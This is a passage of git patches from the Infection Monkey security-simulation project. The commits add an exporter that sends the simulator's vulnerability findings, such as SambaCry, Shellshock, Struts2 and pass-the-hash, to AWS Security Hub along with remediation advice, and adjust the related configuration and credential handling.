b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -10,7 +10,8 @@ from cc.environment.environment import load_server_configuration_from_file logger = logging.getLogger(__name__) AWS_CRED_CONFIG_KEYS = [['cnc', 'aws_config', 'aws_access_key_id'], - ['cnc', 'aws_config', 'aws_secret_access_key']] + ['cnc', 'aws_config', 'aws_secret_access_key'], + ['cnc', 'aws_config', 'aws_account_id']] class AWSExporter(Exporter): @@ -34,7 +35,7 @@ class AWSExporter(Exporter): def _get_aws_keys(): creds_dict = {} for key in AWS_CRED_CONFIG_KEYS: - creds_dict[key[2]] = ConfigService.get_config_value(key) + creds_dict[key[2]] = str(ConfigService.get_config_value(key)) return creds_dict @@ -56,16 +57,28 @@ class AWSExporter(Exporter): 'smb_pth': AWSExporter._handle_smb_pth_issue, 'sambacry': AWSExporter._handle_sambacry_issue, 'shared_passwords': AWSExporter._handle_shared_passwords_issue, + 'wmi_password': AWSExporter._handle_wmi_password_issue, + 'wmi_pth': AWSExporter._handle_wmi_pth_issue, + 'ssh_key': AWSExporter._handle_ssh_key_issue, + 'rdp': AWSExporter._handle_rdp_issue, + 'shared_passwords_domain': AWSExporter._handle_shared_passwords_domain_issue, + 'shared_admins_domain': AWSExporter._handle_shared_admins_domain_issue, + 'strong_users_on_crit': AWSExporter._handle_strong_users_on_crit_issue, + 'struts2': AWSExporter._handle_struts2_issue, + 'weblogic': AWSExporter._handle_weblogic_issue, + 'hadoop': AWSExporter._handle_hadoop_issue, + # azure and conficker are not relevant issues for an AWS env } product_arn = load_server_configuration_from_file()['aws'].get('sec_hub_product_arn', '') + account_id = AWSExporter._get_aws_keys().get('aws_account_id', '') finding = { "SchemaVersion": "2018-10-08", "Id": uuid.uuid4().hex, "ProductArn": product_arn, "GeneratorId": issue['type'], - "AwsAccountId": "324264561773", + "AwsAccountId": account_id, "Types": [ "Software and Configuration Checks/Vulnerabilities/CVE" ], @@ -93,222 +106,393 @@ class AWSExporter(Exporter): @staticmethod def _handle_tunnel_issue(issue): - finding =\ - { - "Severity": { - "Product": 5, - "Normalized": 100 - }, - "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], - "RecordState": "ACTIVE", - } + finding = \ + {"Severity": { + "Product": 5, + "Normalized": 100 + }, "Resources": [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }], "RecordState": "ACTIVE", + "Title": "Weak segmentation - Machines were able to communicate over unused ports.", + "Description": "Use micro-segmentation policies to disable communication other than the required.", + "Remediation": { + "Recommendation": { + "Text": "Machines are not locked down at port level. Network tunnel was set up from {0} to {1}" + .format(issue['machine'], issue['dest']) + } + }} - finding["Title"] = "Weak segmentation - Machines were able to communicate over unused ports." - finding["Description"] = "Use micro-segmentation policies to disable communication other than the required." - finding["Remediation"] = { - "Recommendation": { - "Text": "Machines are not locked down at port level. Network tunnel was set up from {0} to {1}" - .format(issue['machine'], issue['dest']) - } - } return finding @staticmethod def _handle_sambacry_issue(issue): finding = \ - { - "Severity": { - "Product": 10, - "Normalized": 100 - }, - "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], - "RecordState": "ACTIVE", - } + {"Severity": { + "Product": 10, + "Normalized": 100 + }, "Resources": [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }], "RecordState": "ACTIVE", "Title": "Samba servers are vulnerable to 'SambaCry'", + "Description": "Change {0} password to a complex one-use password that is not shared with other computers on the network. Update your Samba server to 4.4.14 and up, 4.5.10 and up, or 4.6.4 and up." \ + .format(issue['username']), "Remediation": { + "Recommendation": { + "Text": "The machine {0} ({1}) is vulnerable to a SambaCry attack. The Monkey authenticated over the SMB protocol with user {2} and its password, and used the SambaCry vulnerability.".format( + issue['machine'], issue['ip_address'], issue['username']) + } + }} - finding["Title"] = "Samba servers are vulnerable to 'SambaCry'" - finding["Description"] = "Change {0} password to a complex one-use password that is not shared with other computers on the network. Update your Samba server to 4.4.14 and up, 4.5.10 and up, or 4.6.4 and up."\ - .format(issue['username']) - finding["Remediation"] = { - "Recommendation": { - "Text": "The machine {0} ({1}) is vulnerable to a SambaCry attack. The Monkey authenticated over the SMB protocol with user {2} and its password, and used the SambaCry vulnerability.".format(issue['machine'], issue['ip_address'], issue['username']) - } - } return finding @staticmethod def _handle_smb_pth_issue(issue): finding = \ - { - "Severity": { - "Product": 5, - "Normalized": 100 - }, - "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], - "RecordState": "ACTIVE", - } + {"Severity": { + "Product": 5, + "Normalized": 100 + }, "Resources": [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }], "RecordState": "ACTIVE", + "Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.", + "Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( + issue['username']), "Remediation": { + "Recommendation": { + "Text": "The machine {0}({1}) is vulnerable to a SMB attack. The Monkey used a pass-the-hash attack over SMB protocol with user {2}.".format( + issue['machine'], issue['ip_address'], issue['username']) + } + }} - finding["Title"] = "Machines are accessible using passwords supplied by the user during the Monkey's configuration." - finding["Description"] = "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(issue['username']) - finding["Remediation"] = { - "Recommendation": { - "Text": "The machine {0}({1}) is vulnerable to a SMB attack. The Monkey used a pass-the-hash attack over SMB protocol with user {2}.".format(issue['machine'], issue['ip_address'], issue['username']) - } - } return finding @staticmethod def _handle_ssh_issue(issue): finding = \ - { - "Severity": { - "Product": 1, - "Normalized": 100 - }, - "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], - "RecordState": "ACTIVE", - } + {"Severity": { + "Product": 1, + "Normalized": 100 + }, "Resources": [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }], "RecordState": "ACTIVE", + "Title": "Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.", + "Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( + issue['username']), "Remediation": { + "Recommendation": { + "Text": "The machine {0} ({1}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with user {2} and its password.".format( + issue['machine'], issue['ip_address'], issue['username']) + } + }} + + return finding + + @staticmethod + def _handle_ssh_key_issue(issue): + finding = \ + {"Severity": { + "Product": 1, + "Normalized": 100 + }, "Resources": [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }], "RecordState": "ACTIVE", + "Title": "Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.", + "Description": "Protect {ssh_key} private key with a pass phrase.".format(ssh_key=issue['ssh_key']), + "Remediation": { + "Recommendation": { + "Text": "The machine {machine} ({ip_address}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with private key {ssh_key}.".format( + machine=issue['machine'], ip_address=issue['ip_address'], ssh_key=issue['ssh_key']) + } + }} - finding["Title"] = "Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration." - finding["Description"] = "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(issue['username']) - finding["Remediation"] = { - "Recommendation": { - "Text": "The machine {0} ({1}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with user {2} and its password.".format(issue['machine'], issue['ip_address'], issue['username']) - } - } return finding @staticmethod def _handle_elastic_issue(issue): finding = \ - { - "Severity": { - "Product": 10, - "Normalized": 100 - }, - "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], - "RecordState": "ACTIVE", - } + {"Severity": { + "Product": 10, + "Normalized": 100 + }, "Resources": [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }], "RecordState": "ACTIVE", "Title": "Elasticsearch servers are vulnerable to CVE-2015-1427", + "Description": "Update your Elastic Search server to version 1.4.3 and up.", "Remediation": { + "Recommendation": { + "Text": "The machine {0}({1}) is vulnerable to an Elastic Groovy attack. The attack was made possible because the Elastic Search server was not patched against CVE-2015-1427.".format( + issue['machine'], issue['ip_address']) + } + }} - finding["Title"] = "Elasticsearch servers are vulnerable to CVE-2015-1427" - finding["Description"] = "Update your Elastic Search server to version 1.4.3 and up." - finding["Remediation"] = { - "Recommendation": { - "Text": "The machine {0}({1}) is vulnerable to an Elastic Groovy attack. The attack was made possible because the Elastic Search server was not patched against CVE-2015-1427.".format(issue['machine'], issue['ip_address']) - } - } return finding @staticmethod def _handle_island_cross_segment_issue(issue): finding = \ - { - "Severity": { - "Product": 1, - "Normalized": 100 - }, - "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], - "RecordState": "ACTIVE", - } - - finding["Title"] = "Weak segmentation - Machines from different segments are able to communicate." - finding["Description"] = "egment your network and make sure there is no communication between machines from different segments." - finding["Remediation"] = { - "Recommendation": { - "Text": "The network can probably be segmented. A monkey instance on \ + {"Severity": { + "Product": 1, + "Normalized": 100 + }, "Resources": [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }], "RecordState": "ACTIVE", + "Title": "Weak segmentation - Machines from different segments are able to communicate.", + "Description": "Segment your network and make sure there is no communication between machines from different segments.", + "Remediation": { + "Recommendation": { + "Text": "The network can probably be segmented. A monkey instance on \ {0} in the networks {1} \ could directly access the Monkey Island server in the networks {2}.".format(issue['machine'], issue['networks'], issue['server_networks']) - } - } + } + }} + return finding @staticmethod def _handle_shared_passwords_issue(issue): finding = \ - { - "Severity": { - "Product": 1, - "Normalized": 100 - }, - "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], - "RecordState": "ACTIVE", - } + {"Severity": { + "Product": 1, + "Normalized": 100 + }, "Resources": [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }], "RecordState": "ACTIVE", "Title": "Multiple users have the same password", + "Description": "Some users are sharing passwords, this should be fixed by changing passwords.", + "Remediation": { + "Recommendation": { + "Text": "These users are sharing access password: {0}.".format(issue['shared_with']) + } + }} - finding["Title"] = "Multiple users have the same password" - finding["Description"] = "Some users are sharing passwords, this should be fixed by changing passwords." - finding["Remediation"] = { - "Recommendation": { - "Text": "These users are sharing access password: {0}.".format(issue['shared_with']) - } - } return finding @staticmethod def _handle_shellshock_issue(issue): finding = \ - { - "Severity": { - "Product": 10, - "Normalized": 100 - }, - "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], - "RecordState": "ACTIVE", - } + {"Severity": { + "Product": 10, + "Normalized": 100 + }, "Resources": [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }], "RecordState": "ACTIVE", "Title": "Machines are vulnerable to 'Shellshock'", + "Description": "Update your Bash to a ShellShock-patched version.", "Remediation": { + "Recommendation": { + "Text": "The machine {0} ({1}) is vulnerable to a ShellShock attack. " + "The attack was made possible because the HTTP server running on TCP port {2} was vulnerable to a shell injection attack on the paths: {3}.".format( + issue['machine'], issue['ip_address'], issue['port'], issue['paths']) + } + }} - finding["Title"] = "Machines are vulnerable to 'Shellshock'" - finding["Description"] = "Update your Bash to a ShellShock-patched version." - finding["Remediation"] = { - "Recommendation": { - "Text": "The machine {0} ({1}) is vulnerable to a ShellShock attack. The attack was made possible because the HTTP server running on TCP port {2} was vulnerable to a shell injection attack on the paths: {3}.".format(issue['machine'], issue['ip_address'], issue['port'], issue['paths']) - } - } return finding @staticmethod def _handle_smb_password_issue(issue): finding = \ - { - "Severity": { - "Product": 1, - "Normalized": 100 - }, - "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], - "RecordState": "ACTIVE", - } + {"Severity": { + "Product": 1, + "Normalized": 100 + }, "Resources": [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }], "RecordState": "ACTIVE", + "Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.", + "Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( + issue['username']), "Remediation": { + "Recommendation": { + "Text": "The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey authenticated over the SMB protocol with user {2} and its password.".format( + issue['machine'], issue['ip_address'], issue['username']) + } + }} - finding["Title"] = "Machines are accessible using passwords supplied by the user during the Monkey's configuration." - finding["Description"] = "Change {0}'s password to a complex one-use password that is not shared with other computers on the network." - finding["Remediation"] = { - "Recommendation": { - "Text": "The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey authenticated over the SMB protocol with user {2} and its password.".format(issue['machine'], issue['ip_address'], issue['username']) - } - } - return finding \ No newline at end of file + return finding + + @staticmethod + def _handle_wmi_password_issue(issue): + finding = \ + {"Severity": { + "Product": 1, + "Normalized": 100 + }, "Resources": [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }], "RecordState": "ACTIVE", + "Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.", + "Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.", + "Remediation": { + "Recommendation": { + "Text": "The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey authenticated over the WMI protocol with user {username} and its password.".format( + machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']) + } + }} + + return finding + + @staticmethod + def _handle_wmi_pth_issue(issue): + finding = \ + {"Severity": { + "Product": 1, + "Normalized": 100 + }, "Resources": [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }], "RecordState": "ACTIVE", + "Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.", + "Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( + issue['username']), "Remediation": { + "Recommendation": { + "Text": "The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey used a pass-the-hash attack over WMI protocol with user {username}".format( + machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']) + } + }} + + return finding + + @staticmethod + def _handle_rdp_issue(issue): + finding = \ + {"Severity": { + "Product": 1, + "Normalized": 100 + }, "Resources": [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }], "RecordState": "ACTIVE", + "Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.", + "Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( + issue['username']), "Remediation": { + "Recommendation": { + "Text": "The machine machine ({ip_address}) is vulnerable to a RDP attack. The Monkey authenticated over the RDP protocol with user {username} and its password.".format( + machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']) + } + }} + + return finding + + @staticmethod + def _handle_shared_passwords_domain_issue(issue): + finding = \ + {"Severity": { + "Product": 1, + "Normalized": 100 + }, "Resources": [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }], "RecordState": "ACTIVE", "Title": "Multiple users have the same password.", + "Description": "Some domain users are sharing passwords, this should be fixed by changing passwords.", + "Remediation": { + "Recommendation": { + "Text": "These users are sharing access password: {shared_with}.".format( + shared_with=issue['shared_with']) + } + }} + + return finding + + @staticmethod + def _handle_shared_admins_domain_issue(issue): + finding = \ + {"Severity": { + "Product": 1, + "Normalized": 100 + }, "Resources": [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }], "RecordState": "ACTIVE", + "Title": "Shared local administrator account - Different machines have the same account as a local administrator.", + "Description": "Make sure the right administrator accounts are managing the right machines, and that there isn\'t an unintentional local admin sharing.", + "Remediation": { + "Recommendation": { + "Text": "Here is a list of machines which the account {username} is defined as an administrator: {shared_machines}".format( + username=issue['username'], shared_machines=issue['shared_machines']) + } + }} + + return finding + + @staticmethod + def _handle_strong_users_on_crit_issue(issue): + finding = \ + {"Severity": { + "Product": 1, + "Normalized": 100 + }, "Resources": [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }], "RecordState": "ACTIVE", + "Title": "Mimikatz found login credentials of a user who has admin access to a server defined as critical.", + "Description": "This critical machine is open to attacks via strong users with access to it.", + "Remediation": { + "Recommendation": { + "Text": "The services: {services} have been found on the machine thus classifying it as a critical machine. These users has access to it:{threatening_users}.".format( + services=issue['services'], threatening_users=issue['threatening_users']) + } + }} + + return finding + + @staticmethod + def _handle_struts2_issue(issue): + finding = \ + {"Severity": { + "Product": 10, + "Normalized": 100 + }, "Resources": [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }], "RecordState": "ACTIVE", "Title": "Struts2 servers are vulnerable to remote code execution.", + "Description": "Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions.", "Remediation": { + "Recommendation": { + "Text": "Struts2 server at {machine} ({ip_address}) is vulnerable to remote code execution attack." + " The attack was made possible because the server is using an old version of Jakarta based file upload Multipart parser.".format( + machine=issue['machine'], ip_address=issue['ip_address']) + } + }} + + return finding + + @staticmethod + def _handle_weblogic_issue(issue): + finding = \ + {"Severity": { + "Product": 10, + "Normalized": 100 + }, "Resources": [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }], "RecordState": "ACTIVE", "Title": "Oracle WebLogic servers are vulnerable to remote code execution.", + "Description": "Install Oracle critical patch updates. Or update to the latest version. " \ + "Vulnerable versions are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0.", + "Remediation": { + "Recommendation": { + "Text": "Oracle WebLogic server at {machine} ({ip_address}) is vulnerable to remote code execution attack." + " The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware (subcomponent: WLS Security).".format( + machine=issue['machine'], ip_address=issue['ip_address']) + } + }} + + return finding + + @staticmethod + def _handle_hadoop_issue(issue): + finding = \ + {"Severity": { + "Product": 10, + "Normalized": 100 + }, "Resources": [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }], "RecordState": "ACTIVE", "Title": "Hadoop/Yarn servers are vulnerable to remote code execution.", + "Description": "Run Hadoop in secure mode, add Kerberos authentication.", "Remediation": { + "Recommendation": { + "Text": "The Hadoop server at {machine} ({ip_address}) is vulnerable to remote code execution attack." + " The attack was made possible due to default Hadoop/Yarn configuration being insecure." + } + }} + + return finding diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 2058a61dd..9f61195f5 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -907,6 +907,7 @@ ENCRYPTED_CONFIG_ARRAYS = \ ENCRYPTED_CONFIG_STRINGS = \ [ ['cnc', 'aws_config', 'aws_access_key_id'], + ['cnc', 'aws_config', 'aws_account_id'], ['cnc', 'aws_config', 'aws_secret_access_key'] ] From 0a6b3a12fabd7167cd87563d2315552fb17b620b Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 27 Nov 2018 17:32:46 +0200 Subject: [PATCH 042/201] * Separated the configuration functions to support both island's and monkey's needs * Removed space char from the default value of the aws keys * Changed the submit function in the JS to point to the right endpoint --- monkey/monkey_island/cc/services/config.py | 14 +++++++++----- .../cc/ui/src/components/pages/ConfigurePage.js | 2 +- 2 files changed, 10 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 9f61195f5..8434a41dd 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -649,19 +649,19 @@ SCHEMA = { 'title': 'AWS account ID', 'type': 'string', 'description': 'Your AWS account ID that is subscribed to security hub feeds', - 'default': " " + 'default': "" }, 'aws_access_key_id': { 'title': 'AWS access key ID', 'type': 'string', 'description': 'Your AWS public access key ID, can be found in the IAM user interface in the AWS console.', - 'default': " " + 'default': "" }, 'aws_secret_access_key': { 'title': 'AWS secret access key', 'type': 'string', 'description': 'Your AWS secret access key id, you can get this after creating a public access key in the console.', - 'default': " " + 'default': "" } } } @@ -1107,11 +1107,15 @@ class ConfigService: ConfigService._encrypt_or_decrypt_config(config, False) @staticmethod - def decrypt_flat_config(flat_config): + def decrypt_flat_config(flat_config, is_island=False): """ Same as decrypt_config but for a flat configuration """ - keys = [config_arr_as_array[2] for config_arr_as_array in (ENCRYPTED_CONFIG_ARRAYS + ENCRYPTED_CONFIG_STRINGS)] + if is_island: + keys = [config_arr_as_array[2] for config_arr_as_array in + (ENCRYPTED_CONFIG_ARRAYS + ENCRYPTED_CONFIG_STRINGS)] + else: + keys = [config_arr_as_array[2] for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS] for key in keys: if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], string_types): # Check if we are decrypting ssh key pair diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index 6cc7e009a..ed8258197 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -44,7 +44,7 @@ class ConfigurePageComponent extends AuthComponent { onSubmit = ({formData}) => { this.currentFormData = formData; this.updateConfigSection(); - this.authFetch('/api/configuration', + this.authFetch('/api/configuration/island', { method: 'POST', headers: {'Content-Type': 'application/json'}, From af97fb6ffc53e912f0b4798a50a835c5d42c3fac Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 27 Nov 2018 17:45:31 +0200 Subject: [PATCH 043/201] * Added a check to no issues list * Changed the productARN to the monkey's ARN --- monkey/monkey_island/cc/resources/aws_exporter.py | 3 +++ monkey/monkey_island/cc/server_config.json | 2 +- 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index 0d9b0a157..e7221a668 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -21,6 +21,9 @@ class AWSExporter(Exporter): findings_list = [] issues_list = report_json['recommendations']['issues'] + if not issues_list: + logger.info('No issues were found by the monkey, no need to send anything') + return True for machine in issues_list: for issue in issues_list[machine]: findings_list.append(AWSExporter._prepare_finding(issue)) diff --git a/monkey/monkey_island/cc/server_config.json b/monkey/monkey_island/cc/server_config.json index 4d8644cbb..82211562f 100644 --- a/monkey/monkey_island/cc/server_config.json +++ b/monkey/monkey_island/cc/server_config.json @@ -1,6 +1,6 @@ { "server_config": "standard", "aws": { - "sec_hub_product_arn": "arn:aws:securityhub:us-west-2:324264561773:product/aws/guardduty" + "sec_hub_product_arn": "arn:aws:securityhub:eu-west-2:324264561773:product/guardicore/aws-infection-monkey" } } \ No newline at end of file From e8c604d7c5b06f6e9be6317c7740aa410ec78491 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 27 Nov 2018 17:48:40 +0200 Subject: [PATCH 044/201] * Changed the exporter to work in aws and not standard (was used for debugging) --- monkey/monkey_island/cc/services/report.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 961bb1195..2a60ffa12 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -754,7 +754,7 @@ class ReportService: def get_active_exporters(): # This function should be in another module in charge of building a list of active exporters exporters_list = [] - if str(load_env_from_file()) == 'standard': + if str(load_env_from_file()) == AWS: exporters_list.append(AWSExporter) return exporters_list From 2f1240cc0e342ccf6ef438ed7e361722d8ed6943 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 27 Nov 2018 20:21:39 +0200 Subject: [PATCH 045/201] * Added the boto3 pckg to the right req'.txt file * Added a safe dict key access for aws_instance_id in report.py * Added a skip in the aws_export if there is no instance_id in the issue. --- monkey/monkey_island/cc/resources/aws_exporter.py | 3 ++- monkey/monkey_island/cc/services/report.py | 2 +- .../deb-package/monkey_island_pip_requirements.txt | 1 + 3 files changed, 4 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index e7221a668..44dd94859 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -26,7 +26,8 @@ class AWSExporter(Exporter): return True for machine in issues_list: for issue in issues_list[machine]: - findings_list.append(AWSExporter._prepare_finding(issue)) + if not issue.get('aws_instance_id', None): + findings_list.append(AWSExporter._prepare_finding(issue)) if not AWSExporter._send_findings(findings_list, AWSExporter._get_aws_keys()): logger.error('Exporting findings to aws failed') diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 2a60ffa12..b89266cad 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -553,7 +553,7 @@ class ReportService: @staticmethod def get_machine_aws_instance_id(hostname): - return str(list(mongo.db.monkey.find({'hostname': hostname}, {'aws_instance_id': 1}))[0]['aws_instance_id']) + return str(list(mongo.db.monkey.find({'hostname': hostname}, {'aws_instance_id': 1}))[0].get('aws_instance_id', None)) @staticmethod def get_issues(): diff --git a/monkey/monkey_island/deb-package/monkey_island_pip_requirements.txt b/monkey/monkey_island/deb-package/monkey_island_pip_requirements.txt index 446414ecf..7046bf231 100644 --- a/monkey/monkey_island/deb-package/monkey_island_pip_requirements.txt +++ b/monkey/monkey_island/deb-package/monkey_island_pip_requirements.txt @@ -14,4 +14,5 @@ netifaces ipaddress enum34 PyCrypto +boto3 virtualenv \ No newline at end of file From 83ea8af9e023c8320d3273ee2f478951c001ca19 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 27 Nov 2018 22:28:06 +0200 Subject: [PATCH 046/201] * Added error handling in case the aws cli wasn't properly installed. --- monkey/monkey_island/cc/resources/aws_exporter.py | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index 44dd94859..4027170bd 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -2,6 +2,7 @@ import logging import uuid from datetime import datetime import boto3 +from botocore.exceptions import UnknownServiceError from cc.resources.exporter import Exporter from cc.services.config import ConfigService @@ -93,17 +94,20 @@ class AWSExporter(Exporter): @staticmethod def _send_findings(findings_list, creds_dict): - - securityhub = boto3.client('securityhub', - aws_access_key_id=creds_dict.get('aws_access_key_id', ''), - aws_secret_access_key=creds_dict.get('aws_secret_access_key', '')) try: + securityhub = boto3.client('securityhub', + aws_access_key_id=creds_dict.get('aws_access_key_id', ''), + aws_secret_access_key=creds_dict.get('aws_secret_access_key', '')) + import_response = securityhub.batch_import_findings(Findings=findings_list) print import_response if import_response['ResponseMetadata']['HTTPStatusCode'] == 200: return True else: return False + except UnknownServiceError as e: + logger.warning('AWS exporter called but AWS-CLI not installed') + return False except Exception as e: logger.error('AWS security hub findings failed to send.') return False From 7d94185a102a40af83e77df946c7a942cd75cc7a Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Wed, 28 Nov 2018 12:53:58 +0200 Subject: [PATCH 047/201] * fixed a wrong IF statement that prevented issues from appending --- monkey/monkey_island/cc/resources/aws_exporter.py | 2 +- monkey/monkey_island/cc/services/report.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index 4027170bd..9ebb28331 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -27,7 +27,7 @@ class AWSExporter(Exporter): return True for machine in issues_list: for issue in issues_list[machine]: - if not issue.get('aws_instance_id', None): + if issue.get('aws_instance_id', None): findings_list.append(AWSExporter._prepare_finding(issue)) if not AWSExporter._send_findings(findings_list, AWSExporter._get_aws_keys()): diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index b89266cad..09e12edcd 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -754,7 +754,7 @@ class ReportService: def get_active_exporters(): # This function should be in another module in charge of building a list of active exporters exporters_list = [] - if str(load_env_from_file()) == AWS: + if str(load_env_from_file()) == 'standard': exporters_list.append(AWSExporter) return exporters_list From bdecc7ade6ce4c0d7e6e3080d8053876c572609d Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Wed, 28 Nov 2018 13:27:35 +0200 Subject: [PATCH 048/201] * added dynamic region lookup * building the product ARN dynamically * Resource type is now Other in case we dont have instance_id --- .../cc/resources/aws_exporter.py | 253 ++++++++++++------ monkey/monkey_island/cc/server_config.json | 2 +- 2 files changed, 176 insertions(+), 79 deletions(-) diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index 9ebb28331..d98cececd 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -7,6 +7,7 @@ from botocore.exceptions import UnknownServiceError from cc.resources.exporter import Exporter from cc.services.config import ConfigService from cc.environment.environment import load_server_configuration_from_file +from common.cloud.aws import AWS logger = logging.getLogger(__name__) @@ -75,7 +76,9 @@ class AWSExporter(Exporter): # azure and conficker are not relevant issues for an AWS env } - product_arn = load_server_configuration_from_file()['aws'].get('sec_hub_product_arn', '') + aws = AWS() + configured_product_arn = load_server_configuration_from_file()['aws'].get('sec_hub_product_arn', '') + product_arn = 'arn:aws:securityhub:{region}:{arn}'.format(region=aws.get_region(), arn=configured_product_arn) account_id = AWSExporter._get_aws_keys().get('aws_account_id', '') finding = { @@ -118,10 +121,7 @@ class AWSExporter(Exporter): {"Severity": { "Product": 5, "Normalized": 100 - }, "Resources": [{ - "Type": 